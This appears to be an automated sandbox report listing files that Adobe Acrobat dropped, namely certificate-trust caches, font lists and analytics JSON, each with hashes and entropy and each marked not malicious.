Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7647458239154146
Encrypted:	false
SSDEEP:	3:kkFklEt5i/tfllXlE/HT8k2NsjNNX8RolJuRdxLlGB9lQRYwpDdt:kKdCeT86RNMa8RdWBwRd
MD5:	F2C92BE140AE39E811D894F52018230D
SHA1:	E9191A07C50C3156C432121FC79F439D9B664CBF
SHA-256:	E4CC3082963D36F9211248554E19BC948064563FAADA911644514AB1F8F6473F
SHA-512:	8D6DD29AE63D5740D927E699FB36504788080E0419BC34B314B62C9214E0E3F7ED43A21DB530281411D2C5266984A83D8657E9A9DA62B40E2732122CF3D2AB8B
Malicious:	false
Preview:	p...... ............uc..(....................................................... ..........W.....(..............o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	328
Entropy (8bit):	3.2197903033853845
Encrypted:	false
SSDEEP:	6:kKpQGDL9UswD8HGsL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:BQGDiDImsLNkPlE99SNxAhUe/3
MD5:	5B3CA100318E241D1B7A670EB96148A2
SHA1:	E4637137B0EC3DD2C321BCEDCDDB81E295BCD81B
SHA-256:	3EF28D93221EDF91E7AECBB4023933E7FC97CA3EE0AFD26AC55596BC2B20C71A
SHA-512:	1718184EB50036E3294C70EE297526D08EDE1A0FB63741F0B2D26E5608C27239AB8A8F61DBFB315A5F0C19AE87CFBE277840D77107DADF21D7ED3BFF18265461
Malicious:	false
Preview:	p...... ..........(.uc..(....................................................... ........G..@.......&......X........h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.6328

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.6328

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.360355298659536
Encrypted:	false
SSDEEP:	6:YEQXJ2HX/cvRQANYUXjb24kF0YAUoAvJM3g98kUwPeUkwRe9:YvXKX0kUTbd/nGMbLUkee9
MD5:	7D9F4D9430EFAFE69A12BBC59D4C1B37
SHA1:	4AB390878BB510280B887C647956B8622D76A4CC
SHA-256:	1F23C1B6897FD667D310873B2BA6A3B88E59F4BB86E343D7D99F6E56E636F57D
SHA-512:	B0A216E93785AED563AEA490AD04A5D59F881383EC060A93C616F4A0382BC8573AF902D11F0071E1FE78D6E9BB02C184B431E6D62CA519EF9CAF9EDDBDA20211
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"5ce1ddfd-ca08-4915-af34-2b491dc43d51","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736701715596,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.297343876010303
Encrypted:	false
SSDEEP:	6:YEQXJ2HX/cvRQANYUXjb24kF0YAUoAvJfBoTfXpnrPeUkwRe9:YvXKX0kUTbd/nGWTfXcUkee9
MD5:	2E35B6754C6199D940F458D462940A77
SHA1:	C1014C9AC1A9C3A5326AEEEC2748C23EAE4A36FA
SHA-256:	1E06A9B7547576BF8391FD7C518CADFADB207C2CD2BD5D403F0D28B74C0317F8
SHA-512:	2F828024CB289DC70E0F4F3B868BCE7ACBA628D76BF6F33E94029DB809B429FDCCB8AB4790A44B6D2E3C92EE5A22BFB087156192732337CEEEFC686D39997B00
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"5ce1ddfd-ca08-4915-af34-2b491dc43d51","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736701715596,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.275193969587373
Encrypted:	false
SSDEEP:	6:YEQXJ2HX/cvRQANYUXjb24kF0YAUoAvJfBD2G6UpnrPeUkwRe9:YvXKX0kUTbd/nGR22cUkee9
MD5:	FD99B185169F5DFCFF1027160DBDB6A8
SHA1:	044296C628729A117EC286671CD5D4C862CC0557
SHA-256:	E984EE4C6D99ECA0EA10A05DA376A0985604EC21ADABFBE8B93D6242D1E3ECD3
SHA-512:	89ABF310F2D59B353E521D3D0CE8B111E880DFEF01E1A48BA978C15341C14A6378A0896BB28E5C8794BECD31841EB9B255E847777F0205586B695B46A8A26348
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"5ce1ddfd-ca08-4915-af34-2b491dc43d51","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736701715596,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.33452846161312
Encrypted:	false
SSDEEP:	6:YEQXJ2HX/cvRQANYUXjb24kF0YAUoAvJfPmwrPeUkwRe9:YvXKX0kUTbd/nGH56Ukee9
MD5:	9214E6F05626D99F4338EB394433E136
SHA1:	D26558C4073A5CD30BA7B107934CA5946E564860
SHA-256:	172E1C635FBDA4025FA3BE704F0BCACC4CB5910495C7357B207A0B0F4AE15CE3
SHA-512:	4B7F188828EEF2410F94DBDBE2C8B9FE6ADF56864684845C4CF46011E325C4B58772AF8DCE0F10A9DD12C0F2FAAB9FC0BD263B9F207B131BEAB3D24DBB2E3CF1
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"5ce1ddfd-ca08-4915-af34-2b491dc43d51","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736701715596,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.679728389484173
Encrypted:	false
SSDEEP:	24:Yv6X7UXVspLgE9cQx8LennAvzBvkn0RCmK8czOCCS1:YvGw6hgy6SAFv5Ah8cv/1
MD5:	FE919203A1D36C00AE525CD11A1BA0CC
SHA1:	60E37994B61A07C1C137B135F0F55CF5738EF4C1
SHA-256:	D992A28B294181126BEC247DCFDAC34048C67F9C6D8720CB66B9DDBB612E7947
SHA-512:	6AEA226AF14674338916C2AA63C4E5054A93D39E68E4002BF8058F42E6DE99DBF2B46114C9D7B38EDDDD92639CD5F40604530952DBE07981232B11FEF27D4A19
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"5ce1ddfd-ca08-4915-af34-2b491dc43d51","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736701715596,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.27203218987632
Encrypted:	false
SSDEEP:	6:YEQXJ2HX/cvRQANYUXjb24kF0YAUoAvJf8dPeUkwRe9:YvXKX0kUTbd/nGU8Ukee9
MD5:	9C3B819E5230346B44669C5C1A0797A9
SHA1:	20FC7A9A6DE04A10361093764DAD3AB7C7D00D87
SHA-256:	9E7FD8D634BFC5245F0240238FF397CE4EB911FD5DE1C0DFE6F1E7DB5A512731
SHA-512:	E7CFF089286532703144F4E78ED71755E14A87D158BCCBBEB229D4D25B7F307C35AB7034BA712431B369EC717A5585D60CC86B636D8B16F1156D451E95B329DC
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"5ce1ddfd-ca08-4915-af34-2b491dc43d51","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736701715596,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.2752625819294945
Encrypted:	false
SSDEEP:	6:YEQXJ2HX/cvRQANYUXjb24kF0YAUoAvJfQ1rPeUkwRe9:YvXKX0kUTbd/nGY16Ukee9
MD5:	F421B066D81F7588EEF0EFB46B29AC73
SHA1:	9C531D7CD4C0CC60B09BD0AB35C922AE85775E50
SHA-256:	433CC4BD677765BB1C82332E437F4789D401A1FD06EECAD7C8DC2D7A7BA65D16
SHA-512:	7FCAC23FEBEE63A05F3CBE9FC13C50BBEE83B76EFDBB56C939F1592E5961F7DF74BF91E850F08DBC1FC52CA728F1EB241721E98093E7DBF2F26852C76C126FD7
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"5ce1ddfd-ca08-4915-af34-2b491dc43d51","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736701715596,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.282850297580665
Encrypted:	false
SSDEEP:	6:YEQXJ2HX/cvRQANYUXjb24kF0YAUoAvJfFldPeUkwRe9:YvXKX0kUTbd/nGz8Ukee9
MD5:	436CDCECF12C1DBA11BDFC92C5360443
SHA1:	DBF3D0ED7515900AC7701C6E1160514838097815
SHA-256:	CDB4C5FBC2003C4C46003B609F4AA3131E51924F94468A1B88FD827900369EEB
SHA-512:	5893C29D3D6BA2F0D2E894A361FDAFB0D8D2179C9E93E26A2EA9CE15934B007B4CB2CF1C1A39C8636958E1450105C8FFE0D857B46FBB1908F658F033D29B7A29
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"5ce1ddfd-ca08-4915-af34-2b491dc43d51","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736701715596,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.299466128640887
Encrypted:	false
SSDEEP:	6:YEQXJ2HX/cvRQANYUXjb24kF0YAUoAvJfzdPeUkwRe9:YvXKX0kUTbd/nGb8Ukee9
MD5:	C01A739CEF2C39F246E48CAB01E8084F
SHA1:	CF3E10AA2A58E89D7623FE1C673372CF12B563F5
SHA-256:	1DA210F32353D2F0BF01F51E0A67876CA0021D5B61D0F594515167EFEE0C5F1B
SHA-512:	0EBA5C0A077AE78DD6AAD4CF3E5CE3D6F29B2758334E8A92C0BCA501242DBB4541F3204ABA47B8E51EB79180048740D7C75B7D275340DE734F050E4D2650A625
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"5ce1ddfd-ca08-4915-af34-2b491dc43d51","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736701715596,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.279696774689087
Encrypted:	false
SSDEEP:	6:YEQXJ2HX/cvRQANYUXjb24kF0YAUoAvJfYdPeUkwRe9:YvXKX0kUTbd/nGg8Ukee9
MD5:	F496A8B01AB6AFB5A124B433AD94FA2C
SHA1:	AF0CF2C28DF4AD4DB81A6C1005786ABEAB2D3AC1
SHA-256:	315214C33D1F31B6CF2680E1225DD2BF450435A4DD225BBABF70826FF0EEA37A
SHA-512:	3CCB99FBFAACCABC1A21C45216D129A3A0A02B5DA623627373232B6B202C69D1C6B5A55A36ABB2184B655CCEF867AB08047364D9C9DE1BA7E656383182445A04
Malicious:	false
